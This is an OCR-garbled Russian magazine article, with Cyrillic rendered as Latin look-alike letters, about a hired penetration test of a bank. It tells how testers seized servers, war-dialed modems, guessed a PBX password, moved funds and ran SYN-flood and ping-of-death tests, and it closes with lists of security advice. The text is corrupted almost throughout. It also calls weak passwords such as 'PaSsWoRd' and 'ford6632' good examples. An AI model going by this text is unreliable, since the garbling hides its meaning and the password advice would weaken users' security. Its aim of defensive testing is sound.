BOII YpOBeHb KaTtajiora. Takum o0pa3oM, ObUT MOJTyYeH KOHTPOJIb HaJ 3TUM
CEPBEPOM, TOCJIE YETO MOKHO ObLIO B3aUMOJIEHCTBOBATh C IPYTMMMU CEpBepa-
MU Ha AIMMUHUCTPATHBHOM YPOBHE.

Jlanee moTpeOOBaIOCh COCTABUTH ceOe MpeNCcTaBICHIUE O BHYTPEeHHEH
nHpacTpyKType cetu. UToOBl OOHAPYKWUTH CJIa0Ble MECTa, «B3JIOMIITUKI»
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BOCIOJIb30BAJIMCh CPEACTBAMU aBTOMATUYECKOTO B3JI0Ma MapoJieit. BrisicHu-
JIOCb, YTO HEAOCTATOYHO HaACXKHO 3allIMIICHbI CUCTEMA YIIPABJICHUSA ITPUJIO-
KCHUAMMU, CpE€ACTBAa CUCTEMHOIO YITPABJICHUA, CUCTEMHBIC YTUJIUTDI, 4 TAKXKE
cpeacTBa yrpanJ€HUA ON€pallMOHHBIMKU CUCTEMaMM Ha KOPHEBOM YPOBHE.

Bot nmpumep TOoro, moueMy crucremMa OKa3bIBaeTCS HEIOCTAaTOYHO Ha-
nexxHoit. [pennonoxum, yto BHemHU KaHan TCP/IP npuxonut Ha Cep-
Bep 1, paboratomuii mox Windows N'T. OcranbHbie ceMb cepBepoB (CO BTO-
poro 1o BOCbMOI) MOTYT B3aMMOJICHICTBOBATb C BHEIIHWM MUPOM TOJIBKO
yepe3 CepBep 1; ciemoBaTelIbHO, 3TOT CEPBEP «IIEPEKPHIBACT» SAUHCTBCH-
HBI YTh IPOHUKHOBEHUS B CUCTEMY U3BHE. AIIMUHUCTPATOPBI YACTO AyMa-
IOT, 94TO JUIsT o0ecredeHus] 0€30MaCHOCTH CMCTEMBI HY>XKHO JIMIIb 3aKPBITh K
Hel JoCTyn cHapyXu. Ha 3ammTy BHyTpeHHUX KaHAJIOB Ilepenadr nHpopMa-
MM 00paIlaloT Kyaa MeHbIIIe BHUMAHUS, 9YTO 3HAYNTEILHO 00IerJyaeT XXU3Hb
Xakepy.

TenedOHHOE XYAUTAHCTBO

He 3a0ynpre BbISICHUTD, HACKOJIBKO HAIEXKHO 3alllMIleHa Ballla KOpIo-
partuBHast ATC. Y Hee BIoiHE MOTYT OOHAPYKUTHCSI HEAOKYMEHTUPOBaHHbIE
KaHaJIbl CBSI3U C CEThIO TIepeiaut TaHHBIX, YTO OTKPOET MyTh MOTEHIUAIbHBIM
snoymbinieHHUKaM. K cuacteio mis BABank, 3xech najneko mpoaBUHYTHCS
HE Y1aJioCh.

IIponukHoBeHue B PBX mau cucteMbl TOJIOCOBOTO OTBETA Ia€T Maccy
LIeHHO# MH(OpPMaIIMK O TTOPTaxX TOCTyMa, MPSIMOTO AAMUHUCTPUPOBAHUS 13-
BHE M TEXHUYECKOTO OOCITY>KMBaHUS, O BHYTPEHHUX MPUKIATHBIX CUCTEMaX C
pacrio3HaBaHMEM TOJIOCa, a TaKKe O CIIyXKOe Tepeaauyd TOJOCOBOM TOUTHI
B PBX. TakuM 00pa3oM, xakep MOXKET IMOJIyIUTh JOCTYIT K OAHKOBCKUM CUe-
TaM U CUCTeMaM YIIpaBJIeHUsI.

Yto6n1 yoepeub PBX oT mMpoHUMKHOBEHMST XaKepa, HY>KHO MOMEHSThb
BC€ MapOoJIv MO YMOJIYAHUIO U U3YYUTh BCE KOHTPOJIbHbBIE XXypHaJbl, COCTABUB
MpeAcTaBiIeHUEe 0 HopMaabHOM pexkume padbotel ATC. [TpoBepsiiiTe Bce MO~
(bukanuy NporpaMMHOro ooecreyeHus] U CUCTEMHBIE «3arllaThl» Ha MpeIMeT
TOT0, HE CMOCOOCTBYIOT JIM OHM BOBHUKHOBEHHWIO HOBBIX c1abbix MecT. Heoo-
XOAMMO TakXke YOeAUTbCs, YTO B Ballleil CUCTEMe HET KaKUX-HUOYyIb HEu3-
BECTHBIX BaM MoneMOB. [ToMHuUTe: crcTeMa, B KOTOPOUl CIyyaiiHO OKaxyTcsl
moaeM u IIK mon Remote Server Mode, OyaeT MOJHOCTbIO OTKpBITA JJISI
BTOPKEHUS U3BHE.

Bocnoib30BaBIIMCH TPOTPAMMOI aBTOMATHYECKOTO TToA00pa HoMepa,
«B3JIOMIIIUKW» OOHAPYXUJIM HEKOTOPOE YMCIIO MOJIEMOB B TeJIe(OHHOM TTPO-
cTtpaHcTBe 6aHKa. OHU MOTBITAIACH «BJI€3Th» B 3TH MOAEMBI U TIPOBEPUTD UX
3ammty. YacTh MOZEMHBIX BXOIOB ObLIa 3aKphITa MapojieM. 3armyCcTUB Ipo-
rpaMMy ITo60pa MapoJist, YTOOBI TPOBEPUTh, HACKOJIBKO CHJIbHA 3Ta 3alll1Ta,
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«B3JIOMILIMKW» HIYETO HE TOOMIMCh. 3aTO UM yaajaochk BpyuHyto(!) momobparh
MapoJIb K TMTOPTY TEXHUUECKOM MOMIePKKY MapiipyTusaTopa. babax!

Yepes 3TOT MOPT OHM TOMAJM B CETh, a MOTOM, 3aiinst Ha AS/400, ne-
peBer HeOOIBIIYI0 CYMMY Ha CBOi THICSTYSAOJIJIAPOBLII CUET C UyKOTO CUETa.
Ecnu «B31OMIIMKI» CYyMENIH 3TO CAENaTh, TO UTO IIOMEIIIAET XaKepy IIepeBeCTH
MWUIMOH nosutapoB? WMmm munmnuapn? OmHako Terepb, OPUEHTUPYSICH Ha
pe3yJAbTaThl 3TUX M3BICKAHWI B 00JIACTH IICUXOJIOTHYeCKUX TprueMoB, BABank
YCTAaHOBWJI HEKYIO IMPEISTbHYI0 CYMMY CHEJIKM, IIPU MPEBBIIIEHNN KOTOPOM
BCTYITAIOT B JEHCTBME MEXaHM3MbI OOHapyKeHUsI (PMHAHCOBOTO MOIICHHU-
YyecTBa.

IMponuxkHyB Ha AS/400, «B3JOMIIMKU» TOJYYUIU TOCTYN K MOIHH-
¢peliMaM 1 HavyaJlM aTaky Ha cucTemy 3aiuThl Resource Access Control Fa-
cility. Ho Tyt corpynHuku BABank, yxe yOemuBiivecs: B HaJIMYUU <«IbIP»
B Web-cucreme, peliv IpeKpaTUuTh S9KCIIEPUMEHTHI.

Kak 006bI19HO, «B3JIOMITUKI» Mo0eamin. OJHAKO Ha 3TOM UX AeSATEb-
HOCTb He 3aKOHYMJIACh. Bl BEIpabOTaH psil CTpaTernyecKuX peKoMeHaaluit
Y TaHBI COBETHI 10 MCMOJIb30BAHUI0 KOHKPETHBIX MPOLEAYP, METOIOB U TEX-
HOJIOTU, KOTOPBIE TOMOTYT PEIIUTh MPOOJIEMBbI C 3aIIUTON TaHHBIX.

Taxk, 6aHKy ObUIM JaHBI PEKOMEHIALMHU IT0 BEIPAOOTKE IMOJIMTUKH B 00-
siactu Web-0e30macHOCTH M peajiu3aliuii MeTo/ia moucka ciabdbix mect. Kpo-
Me TOro, OBUTO YKa3aHo, KaK MOXKHO CBSI3aTh MEXIy COOOM pa3IMIHbBIC CXEMbI
MapoJIbHOM 3aIlUTHI M TOOUTHCS ONTUMAJIBHOTO BBIOOpa Taposeil. beur man
COBET COTPYIHMKAM OT/IeJIa aBTOMATHU3alli YCTAHOBUTH HOBBIEC BEPCUU HEKO-
TOPBIX OTNIEPAITMOHHBIX CUCTEM U TIEPEBECTH OIpeneieHHbIe cucTembl ¢ Unix
Ha Windows NT, ITOCKOJBKY psii NpuIoXKeHui Tydiie padoTtaet mog NT.

I'maBHOE M3MEHEHHE COCTOSIO B TOM, YTOOBI BBIBECTU YaCTh YCJIYT Ha
OTJIeJIbHBIE CEPBEPDI, MOBBICUB TEM CaAMbIM CTEIEHb 3alIUThI. Eciu ycayru Tu-
na FTP u pasmenieHuss Web-cepBepoB cocpeqoTOUYEeHbl Ha OMHOM MallliHe,
9TO CHUXKAeT ypOBeHb MHGMOPMAIIMOHHOI 0€30MacHOCTH.

DosacBopT, BIipoyeM, OKa3ajucs JOCTATOUHO Pa3yMHBIM, YTOOBI OCO-
3HaTh. OJHUX 3TUX MEP HEAOCTATOUYHO IJIsI 00ecrieYeHsI HEYSI3BUMOCTHA MH-
(opmanioHHoOI cucTteMbl 6aHKa. bbLTo MpoBepeHo, Kak 3aluiieHa KoHpu-
IEeHIMAJIbHOCTh WMHGOpPMaIMK, HACKOJIBKO XOPOIIO o0OecleYynBaeTcs
LICJIOCTHOCTD IAHHBIX M KaK YCTPOEHA CUCTEMA YIIPaBJICHUSI 1OCTYIIOM, OfHA-
KO M3 PacCMOTPEHMUS BHIMTAJI TaKOW BaXXHEWINMIA acreKT MH(POPMAaIMOHHO!
06€30MaCHOCTH, KAK TOTOBHOCTb CUCTEMBI.

BABank HamepeBasics ripeaocTaBisaTh Internet-yciyru aist moaydeHus
JIOTIOJTHUTEILHOTO JI0X0/1a Y YKPETJIEHUsI TOBepUsl KJIMEHTOB. J1JIst 3TOTo cep-
Bep JOJKeH paboTaTh 0e3 IepephlBOB U BHIXOAHBIX. EC/iu B pe3yabrare araku
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XakKepa 00C/Iy>XK1MBaHUe IMPEepPBETCs, TO, HECOMHEHHO, TTOCTPAAA0OT KakK UHAH-
coBble nesta BABank, Tak ¥ ero oTHOIIEHUS ¢ KJIMEHTaMK. MaJio Toro, cjieabl
Web-xynuraHcTBa Ha cepBepe CIOCOOHBI «ITOAMOPTUTE» UMUK CaMOii KOM-
MMaHWUU, ee TIPOAYKTOB M YCIIYT, B OCOOEHHOCTH €CJIM Ha JeJ0BBIX CTPaHUYKaX
MOSIBSITCSI TIOpHOTparueCcKre KApTUHKM.

I'pyniia «B3JIOMIIUKOB» PEIIMIa BBISCHUTH, HACKOJBKO JIETKO XaKep
cymeeT Bbi3BaTh Ha Web-cepBepe BABank nepebou B obcimyxkuBanuu. st
3TOTO OHU BOCTIOJIB30BAJIMCh Pa3HOOOPA3HBIMU CAMOJIEbHBIMU CPEJICTBAMU
(HUYero Ipyroro Kak-To He HauwIoch). Hekoropsie pazpaboTaHHbIE XakepaMu
MpoTpaMMBbl, BbI3bIBalOIIME COOM OOCIYyXXMBAHUS, MOXHO 3arpy3uTh IO
Internet, omHaKo 4TOOBI 3aCTaBUTh UX PabOTaTh, C HUMU TPUXOIUTCS TOJITO
BO3UTHCS.

OHU NIPUMEHSUIM IOYTOBbIE OOMOBI [JI5 TIePETIOJTHEHUSI CETH, 3aTOILIe-
Hue cetr naketamu cuHxpoHu3anuu (SYN flooding), a TakxKe «IIUHT CMEPTH»,
T.€. HamaJeHWe C UCTIOJb30BaHUEM MMUHT-TIAKETOB, MHOTIA PUBOASIIEE K 3a-
BUCaHMIO cepBepoB. O0s3aTeILHO IIOIPOCUTE TPYMIIbI OLEHKN MH(OpMaI-
OHHOIi 6€30MaCHOCTH UCCIE0BATh YCTOMYMBOCTh K UCKYCCTBEHHBIM Mepedo-
sIM B OOCITYXKMBaHWUM; TaKWe aTaKu MOTYT MOJHOCTbIO BBIBECTU CEPBEP U3
ctposi. HeobxoamMo TakKe BBISICHUTb, CKOJIBKO BPpeMEeHU 3aHMMAaeT BOCCTa-
HOBJIEHHE PabOTOCIIOCOOHOCTH CUCTEMBI.

SK3aMeHbl HUKOTAC He KOHYAIOTCS

Korma HaHATBIM XaKepaM yIajoch B3JIoMaTh CHUCTeMy, Bailla paborta
TOJIbKO HauMHaeTcsl. Hu B KoeM cirydae He clielyeT CunuTaTh, 4YTO caM (hakT Te-
CTHPOBaHUS yXe obecreyrnBaeT MH(GOPMALMOHHYIO 0e30macHoCcTh. OleHKa
CUCTEeMBI 0e30ITacCHOCTU (Bpode TOM, YTO ObUla IIPEeANpUHSTAa MO 3aKa3y
BABank) maeT ToJIBKO IIpeacTaBIeHNE O COCTOSIHUM CeT Ha MOMEHT IIPOBeE-
neHus1 onepanuu. CucreMa MHGOPMALMOHHON 0€30IaCHOCTU IIpeTepIrieBaecT
TTOCTOSTHHBIE UBMEHEHUSI U TPEOYeT K cebe MOCTOSTHHOTO BHUMAaHUSI.

IlepBblii BCEOOBEMITIONINI TECT NOJKEH PACCMaTPUBATbhCSl BaMM Kak
oTrnpaBHasi Touka. He 3a0biBaiiTe BpeMsi OT BpEMEHHU BbIIEISTh A€HbIM Ha MO-
BTOpHBbIE 00cienoBaHus. He MeHee BaXXHO U TO, YTOOBI MCCIIEIOBAHNS TPOBO-
JIAJTUCH 10 3aITyCcKa OHJIAMHOBBIX YCIIYT, a He MTOCJIe TOT0, KaK «IbIpbl» B 3a1I1-
Te NaayT ceOs 3HATh.

He 3a6biBaiiTe neBu3 «B3jomaii cBOIO cUCTEMy caM, MOKa KTO-TO He
cliesiaeT aToro 6e3 TBOero BeioMa». A Moka — yJauHOM OXOThl!
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AecsTb COBETOB MO 3ALUTE CEPBEPOB AAS
Web-kommepuumn

1. CrreryeT OrpaHUIMTD YUCIIO JIIOACH, UMEIOIINX YIAJCHHBIA TOCTYIT
K yrpaBjieHUIo BalinuM Web-cepBepoM, U TIATEIbHO CJIEAUTb 32 3TUM JOCTY-
oM. JIMCTaHIIMOHHOE aIMWHUCTPUPOBaHUE (KaK M JOCTYIT K KOPHEBOMY Ka-
TaJory) — OTJMYHAs Jlazelika /Ul Xxakepa.

2. TIpoBepbTe, MPAaBWIBHO JIU CKOH(MUTYPUPOBAHBI CITUCKU TOCTYITa
M BHOCSITCS JIU B HUX KaXTOJHEBHBIC U3MEHEHUsI, OTPaKalolle COCTOSTHUE
JIEJIOBOM KM3HU KOMITAHUY (TaKue, HalpuMep, Kak 100aBJIeHE HOBBIX TTOJTb-
30BaTeieil U KIIMEHTOB, YIaJeHUEe CTaphIX ).

3. Hackoabko BO3MOXKHO, OTAEIUTE Balll KOMMEPUYECKUIl cepBep OT
MPOYUX YCIyT. MOXHO JAOMOJTHUTENBHO YKPEIUTh CepBep, OTMEHUB BCE He-
00s13aTesibHble (YHKIIMU MPUIOKEHU 1 OTepallMOHHBIX cucTeM. Eciiv Bbl He
B COCTOSIHUM 3TOTO CAeJaTh, CJAeNyeT BCepbe3 MoAyMaTh 00 HMCIOIb30BaHUU
CTOPOHHMX YCYT (outsourcing).

4. YcraHoBUTE cUCTeMy OOHapyXeHUs BTOPXEHUI, KOTopasi He-
MEUICHHO OYyIeT CTaBUTb B M3BECTHOCTb aIMUHHUCTpaTOpa CeTU 00O BCeX
rnpobyiemax, Tpedytomux ycrpaHeHus. [lomHuTe, 4T0 OOHAPYXKUTH Xakepa —
3TO TOJIIEA; TIaBHAs 3aja4a COCTOUT B TIPECEYSHUM ero ACSATETbHOCTH.

5. CucreMa A0JiKHa pearupoBaTh Ha JIIOOble HEOOBbIYHbIE COOBITHS,
TpoucXosiIe Ha cepBepax. HeBO3MOXHO OCTAHOBUTH 3JIOYMBIIILIEHHUKA,
He 3Has, YTO OH JIeJIaeT.

6. HerpaBwibHO HalmMcaHHBIE, CKOHGOUTYPUPOBAHHBIC U YCTAHOBJICH-
uble ckpunthbl Perl 1 CGI (Common Gateway Interface) moryt ctaTh mpuyu-
HOI BO3HMKHOBEHHUS «IbIPp» B CHCTEME 3allUTHI. DTHUMH CPEACTBAMHU HAIO
TOJIb30BaThCsl OCTOPOKHO; BCE CKPUITHI ITOJKHBI ITPOBEPSATHCS OMBITHBIMU
CIelIMaIMCTaMHU.

7. nst obecrieyeHus1 6€301MacCHOCTU HEKOTOPHIX KOMMEPUYECKUX CEpPBe-
POB MCITOIB30BaHMS TIapoJieit HemocTaTouHO. CTOUT 06IyMaTh BO3MOXHOCTh
pasgadM KIMeHTaM (PU3NIECKUX U DJIEKTPOHHBIX JKETOHOB.

8. Cnenyer obGecrieyrBaTh UM ayTeHTU(PUKALIMIO aIMUHUCTPATOPOB.
Bce Gogbliee pacrpocTpaHeHre MOIY4YaloT pa3zHOOOpa3Hble OMOMETpUYEC-
KH1e CpeCcTBa UACHTUDUKAIIUMHY T10 TOJIOCY, OTIeYaTKaM IMajbleB U y30py ceT-
YaTKH.

9. Ilpu mepeBome DEHEXHBIX CYMM (C MCIIOTh30BAaHUEM KpPEIMTHBIX
KapTOYeK WJIU ITyTeM OOpaIleHus K MOMH(PeiMy, TIie TOIIePKUBAIOTCS TTOJT-
HOMacIITabHbIe GAaHKOBCKUE OTIepaIlii) Balll y3eJI 00paIaeTcs K IpyTruM ce-
M. [lpr B3aUMOICUCTBUM ¢ KPUTHMUYCCKU BaKHBIMH CHCTEMaMH CIIEIyeT
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MIPUMEHSITh TaKWE CPeACTBa obecreueHrs 6e30ImacHOCTH, Kak Secure Socket
Layer, Secure Hypertext Transfer Protocol uiu Kerberos.

10. HO,HyMaﬁTC, HE CTOUT JIX CHAOIUTH KPUTUYCCKHN BAXHBIC NTAHHBIC
1 COOTBETCTBYIOIIME UM CHUCTEMHBIC d)aﬁ)'[bl 00oJI0uKamMu A obecrieueHust
X OCJIOCTHOCTU. KpHHTorpad)qucm/Ie 000109YKM BOKPYT 3TUX (1:)aI7IJ'[OB 103~
BOJIAT HE JOITYCTUTb UX MOZ[I/I(i)I/IKa]_[I/II/I MNJIN BHECCHUA BPEAOHOCHOTI'O KOJa.

Kak pa6otartb € rpynnoun, oueHuBarLLen
HOAEXXHOCTb CUCTEMbI MHOOPMALMOHHOMU

6esonacHocCTn
* Bri6epuTe cebe KOHCYIbTaHTa C XOPOIIIei peryTalunei.
* IToTpebyiite, 9YTOOHI B IpyIINe BEIMCh TOAPOOHEIE

KOHTPOJIbHBIE XXYPHAJIbI B TEUEHHUE BCETO CpOKa PaboT.

* Heo6xomuMo, 94ToObI rpyIITia OIeHKH MOIJIa IPUOCTAHOBUTh
CBOIO JIESTEIPHOCTh 32 HECKOJIBKO MUHYT, €CJIM HAaYHET
MTPOMCXOIUTH HEUTO HeXeJIaTeIbHOE.

* I'pymnma momkHa BHIIATh HECKOJIBKO Pa3IMIHBIX OTYCTOB,
pPaCCYUTAHHBIX HA TEXHUYECKUX CIIELIMAICTOB,
PYKOBOJAUTEJIEU CPEeAHErO 3B€HA U BBICIIEE PYKOBOJICTBO
KOMITaHUM.

* O3HaKOMBTECH C pe3yIbTaTaMy ITPOBEPKU U UCTIONb3YIiTe
HX KaK PYKOBOJICTBO K JCHCTBUIO.

AecsTb HeAOPOrmx cnoco60B YKpernAeHUs CUCTEMbI
o6ecneyeHus BHYTpPeHHen 6e30nacHoOCTU

1. CTouT BBISICHUTH O HAHUMAaeMBbIX Ha paboTy JTIOSIX HECKOJIBKO 00JIb-
111e, YeM MOXHO Y3HaTh U3 UX pe3loMe; OCOOEHHO 3TO KacaeTcsl TAKUX KPUTHU -
YeCKHM BaXXHBIX JODKHOCTEH, KaK CUCTeMHbII agMuHucTpaTop. [lomymaiite,
HE HaJI0 JIM BBECTU CUCTEMY IICUXOTECTOB, KOTOPHIE TTO3BOJISIT BbISIBUTH TUYE-
CKM€ MPUHLIMUIIBI KAHAUAATOB, UX OCOOEHHOCTH.

2. PaccMoTpHTe BOTIPOC O CHITHM TUCKOBOIOB C TOJIb30BATEIBCKUX
K. DT0 3aTpymHUT COTPYIHHUKAM YCTAaHOBKY CBOEr0 COOCTBEHHOIO IpPO-
IPaMMHOTO 00eCIIeYeHUST M KOMITBIOTEPHBIX UTP, ITOMEIIIaeT UM 3apaXaTh CU-
CTeMy BHPYCaMH U «BBIHOCUTh» U3 KOMITAHWHU 3aKPBITYIO MHDopMmammio. Ta-
Kasi Mepa ITO3BOJIUT M30eXaTh M ellle OMHOW YTPpO3bl WIsT MH(MOPMAIIMOHHOM
6e30IMacHOCTH — JMCKHU, pa3dpocaHHbIe Ha CTOJIE COTPYIHUKA, JTETKO MOTYT
IIPOITaCTh.
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3. He monyckaiite, 4ToObI Ha ONHY CETEBYIO CTAaHILIMIO MPUXOIUIOCH
GoJiee OIHOTO UACHTU(MHUKATOPA ITOJIb30BaTe/Is. YCTaHOBUTE O30IMacHbIC 9K-
paHHBIE 3aCTaBKU — 3TO ITOMOXKET PEIIUTh aIMUHUCTPATUBHBIC TIPOOIEMBI.

4. HDCHOCTaBHHﬁTe KOPHEBBLIC IIPUBWJICTUHN TOJIBKO TEM aAMMWHUCTPA-
TOpaM, KOTOPbIM OHHM P€aJIbHO HY>KHBEI. HOMHI/ITG, YTO KaXIbIi pas3, Koraa Bbl
JacTC TaKUEC IMMPUBUJICTUU, B CUCTCME 3allIUTHI ITOABJIACTCA €1IC OJHA ITOTCH-
ouajJbHad «IbIpKa».

5. YHuuTOXalTe WM CXMIaiTe BaxKHYIO 3aKPBITYI0 MH(OpMAIIUIO:
CIHMCKHU MepcoHana, WAeHTU(hUKAIIMOHHBIE MMEHA COTPYIHUKOB, CBOAKHU OT-
JieJ1a KaapoB, TarkKy ¢ JaHHBIMU O KJIMEHTaX, MaMsITKU, PyKOBOJCTBA, CXEMbI
ceTeil 1 BooOIlle BCe, YTO MOXET MPEACTaBSATh MHTEPEC JJIsT 3JI0YMBIIILIEH-
HMKOB.

6. MycoprIe KOHTCf/JIHepr JOJI2KHBI HAXOAMUTHLCA HAa TCPPUTOPUU Opra-
HuU3aluu; B MIPOTUBHOM CJIy4a€ 3JIOYMBIIJICHHUK HE YCTOMUT IECPECO cobJyaz-
HOM B HUX IMTOPBLITHCA.

7. Ilocrapaiitech, YTOObI COTPYIHUKN KOMITAHWU CTaly BalllUMU CO-
I03HUKaMH B 60pbhOe 3a KOpPIIOpaTUBHYIO O0e30macHoCTh. [lompo0yitTe peann-
30BaTh MpOrpaMMBbI MMapTHEPCTBA: Moo0OeIaliTe Bo3HATPaXIeHUE TOMY, KTO
O0OHApPYXUT HETOUEThI B CHCTEMe 0€30IMacCHOCTH WM YJIUIUT KOTo-JIN0O0 B He-
JIOOPOCOBECTHOCTH.

8. BHuMaTtenbHO u3y4aiiTe Bce IPOAYKTHI, obecreunBalole nHpop-
MAallMOHHYIO 0€30MaCHOCTb. YOeauTech, YTO OHU paboTaloT UMEHHO TaK, KaK
ObL10 obeliaHo nmpousBoauTeaeM. [lomymaiiTe, MOXHO JIM YKPENUTh CUCTEMY
3alMTHI, HE yCTAaHABIMBAsl HOBBIN MPOAYKT, KOTOPbIA MOTPeOyeT OT Bac onpe-
JICJICHHBIX YCUJIUM.

9. YnojsHOMOYbTE KOT0-JIMOO U3 COTPYIHUKOB IMPUHUMATh OTIEPaTUB-
HbIe MEPBI B Cllyyae yrpo3bl THGOPMALIMOHHOM 6€301acHOCTU — OT aBapuii-
Hoil octaHOBKM Web-cepBepa 10 BbI30Ba OXpaHbl JJIs1 yIaJeHMs TTPOIITpa-
(uBIIETOCS COTPYIHUMKA 32 TIPEACIIbl OpraHU3aLUu.

10. OnoBecTUTE COTPYIHUKOB, YTO BbI HCITOJIb3yETEe CAMbIE COBPEMEH -
HBbIE CPEJICTBA MOHUTOPUHTA CETH M KOHTPOJIS 3a NeHCTBUSIMU PaOOTHUKOB
koMnaHuu. OOBSICHUTE, YTO BhI HE COOMpaeTech YCTaHABIMBATh TOTAJIUTAP-
HBII peXXuM, a MPOCTO GOpeTeCch CO 3JOYMBIIIJICHHMKaMK. B pe3ynabrare co-
TPYIHUKM OYIYT C MEHBIIIEH JIETKOCTBIO HAPYILIATh MPaBUJIa MOJIb30BAHUS MH-
¢GOopMaIITMOHHON CUCTEMOM M 00eCIIeUeHUS 3aIUThl JaHHBIX.
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Mgt OCHOBHbIX YCAOBUI 06ecrneyeHus
MHPOPMALMOHHOM 6E30MNACHOCTH

1. I'maBHOE, YTO HYXXHO C/IeJIaTh JJISI 3aIlUThl THGOPMALIMOHHOM CuC-
TEeMbI OT BHEIIIHUX U BHYTPEHHUX yIrpo3, — BbIPabOTaTh KOPIIOPATUBHYIO MO-
JuTuKy. O6ymaiiTe, 4ero Bbl XOTUTE JOOUTHCSI U KAK MOXKHO JOCTUYD [TOCTAB-
JICHHOM I1IeJI; COCTaBbTE SICHBIM JMOKYMEHT, MOCBSIICHHbBII IOJUTUKE
3aIUTHI.

2. PeryasipHO TTPOBOIMTE 3aHSITUS C COTPYIHUKAMMU, TTOBBIIIAS UX 00-
pa3oBaTeJIbHbIN YPOBEHD U CTEIeHb MH(OPMUPOBAHHOCTUA 000 BCEX aCTIEKTaX
nH(GOpMALIMOHHOK 6e30rmacHoCcTy KoMmaHuu. OObSICHSINTE COTpYOIHUKAM, B
YeM MOTJIO OBbI COCTOSITh MX Y9acTHe B 00ecTieueHNM MHHOOPMAITMOHHOM 6e30-
IMaCHOCTH KOMITaHWH.

3. [Tepronnuecku MPOBOAUTE TECTUPOBAHUE U OLIEHKY CUCTEMBI 3a11T1 -
ThI, YTOOBI MPOBEPUTH, HACKOJIbKO BHEIIHSISI M BHYTPEHHSIST 3alllUTa COOT-
BETCTBYET KOPIOPATUBHOM MOJUTHKE. PaGoTaiiTe TOIBKO C TEMU KOHCYJIbTaH-
TaMUu, KOTOpbIe TMPUIEPKUBAIOTCS CTPYKTYPMPOBAHHOIO TMOAXOJa U He
3aMHTEPECOBaHbI HAIPSIMYIO B Pe3yJibTaTaX TECTUPOBAHMSI.

4. He 3a0bIBaiiTe 0 IPOCTBIX Ccrocobax puzndeckoii 3aurhl. Ciaenure
3a TOCTYIIOM K pacIlpele/IUTeIbHBIM ITKadaMm, cepBepaM, KOMHATaM TeJle-
(boHHOI CBA3M U KpoccaM TOYHO TaK e, KaK BbI CIEAUTE 32 JOCTYIIOM K BbI-
YUCTUTETbHBIM LIEHTPAM.

5. PaccmoTpuTte Bompoc 00 MCMOJIb30BAHUHN YCJIYT CTOPOHHUX KOMIIa-
HUH, CTICIIMATU3UPYIONINXCS B 001aCTH 3aIIUTHI JaHHBIX; OHM JTOJDKHBI pabo-
TaTh B KOHTAKTE C OT/AEJIOM aBTOMAaTU3alluK. DTU KOMIIAaHUKA MOTYT OKa3aThCs
JIyYIiie TTOATOTOBJICHHBIMU K TOMY, YTOOBI CJICAUTH 3a 3alIUTOM BallIUX daH-
HBIX 24 yaca B CyTKM 0e3 BhIXOAHBIX. OJHAKO TOIrIa BaM IPUIAETCS MepeaaTh
B Uy)XKM€ PYKM yIIpaBJeHUE ONpeae/eHHOM YacThlo CBOeTO OM3Heca.

Aecsatb crnoco60B NOAAEPXKKN PpaB6OTOCNOCOOHOCTU
CUNCTEMbI 3ALLMUTBI

1. Bpemst oT BpeMeHU MPOBOAUTE TECTUPOBAHUE CUCTEM 3aLUTHI — 3TO
TMO3BOJIUT OTCJIEXWBATh BCE U3BMEHEHUSI B CAMUX CUCTEMAX, CETIX U MOBENE-
HUU TIoJIb30BaTeseli. ToueuHble MPOBEPKUA CUCTEMBI 3alIMThI JAHHBIX TTpe.i-
MPUSITHASI CTOUT TIPOBOAUTH €XEMECSYHO, a TOJHYI0 MPOBEepKy MHMOpMaI-
OHHOI 6€30MacHOCTY MPEANPUATHS — pa3 B Toi. BoaMoxxHOe BIMsIHE HOBBIX
MPWIOXEHUH HAa UH(POPMALITMOHHYO O€30ITaCHOCTbD CJIEAYET OLIEHUBATh Mepe]]
UX YCTAHOBKOIA.

2. [TocTosIHHO NMPOBEPSIiTE HANEXXHOCTh NAPOJIbHOM 3alUTHI, JaXKe eC-
JIM HUYTO HE BHYyLIAeT OecrokoicTBa. JIJIMHHBIE MapOM Jydllle KOPOTKUX,
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MOCKOJIbKY MX TpyJIHee MonoopaTh, OMHAKO UX U TPYAHEe 3alIOMHUTD, He 3a-
nuckiBasgs. Bor mpumepbl xopoiux mnaposeit: PaSsWoRd (uepenyroriuecst
MPOMUCHBIE M CTpOUYHBIE OYKBHI), ford6632 (pacnpocTpaHeHHOE CIIOBO U JieT-
KO 3aroMUHaloleecst uuciio), 3lite, writ3m3, winnl3 (Tak nuiyT Xakepsl).

3. Cnegure 3a TeM, KakK Balll TTOJIb30BaTe)IM paboTaloT ¢ Internet, u pe-
TYJUPYUTE 3TOT IpoLecC.

4. B pamkax mporpamMMmbl HEMpPEpPLIBHOTO 00pa30BaHUS MPEIIOXUTE
COTPYAHUKAM O03HAKOMMTbCSI CO CMEeLIMAIbHBIMU UTPAMM Y MOJEIUPYIOIIUMU
MporpaMmamMu, KOTOPbI€ MO3BOJIAT UM OCO3HATh, KaKMe TOCAENCTBUSI MOXET
MMeTb IIpeHeOpeXXeHe MpaBUJiaMy 3alllUThl JaHHBIX.

5. 3a cyeT UCMOIb30BAHUS MEXaHU3MOB YIIPABJIEHUS TOCTYTIIOM U TEX-
HOJIOTUI [Tl MUHTpAceTel pa3AenTe Bally OpraHM3alHMIo Ha JIOTUYEeCKHUE Jac-
TU. CeKIIMOHMPOBAHKE PECYPCOB U MH(OPMAIIMU MOBBIIIAET CTENEHb 3alllk-
meHHocTu. [lomymaiiTe Takke 00 MCIOJIb30BAaHUU 3aKPbITON MOYTOBOIL
CHUCTEMbI, OrpaHUYMBaIOIIEll BO3MOXHOCTb OOMeHa MHdOpManuein Mexmay
COTPYAHUKAMU.

6. CraHbTe MTOANMCYMKAMU HOBOCTHBIX rpyTI Internet, moCBSIIEHHBIX
npobjaemMaM 6e30MTacHOCTU, U TIPOCMaTpuBaiiTe OCHOBHBIE Web-CTpaHUIIbI;
3TO TTO3BOJIUT BaM ITOCTOSTHHO OBITH B Kypce COOBITHI. BOT HEKOTOpBIE MoJIe3-
uboie URL: listservnetspace.org, www.nbugtrag.com, www.infowar.com/hack-
ers, www.techbroker/happyhacker.html.

7. HemenieHHO ycTaHaBIMBalTe BCe HOBbIE BEPCHUM ONMEPallMOHHBIX
CHUCTEM, «3aIliaThl» K MPUKIAAHBIM MporpaMMaM M KOMIUIEKThl CEPBHUCOB,
BBIITyCKaeMble MPOM3BOAMTENEM MPOrpaMMHOro obecreueHus. TuiateabHO
MpOoBepsIiiTe, HE OKaXeT JIM HOBasl MporpaMMa HeraTUBHOTO BO3ACMCTBUS Ha
JIPYTHE€ CUCTEMBI.

